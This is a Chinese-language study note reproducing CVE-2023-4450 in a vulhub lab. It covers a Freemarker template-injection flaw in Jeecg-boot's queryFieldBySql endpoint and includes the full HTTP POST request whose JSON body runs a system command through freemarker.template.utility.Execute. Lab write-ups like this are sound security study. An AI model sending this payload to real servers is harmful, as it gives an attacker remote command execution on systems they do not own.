免责声明:
本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
漏洞描述
Jeecg-boot系统中queryFieldBySql接口在处理SQL时使用Freemarker进行处理,由于代码不规范或信任了用户输入而导致了服务端模板注入。
环境搭建
cd /vulhub/jeecg-boot/CVE-2023-4450
docker compose up -d
漏洞复现
打开页面
构造payload
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 172.16.10.10:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Length: 112
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Origin: http://172.16.10.10:8080
{"sql":"select 'result:<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"echo hello\")}'"}'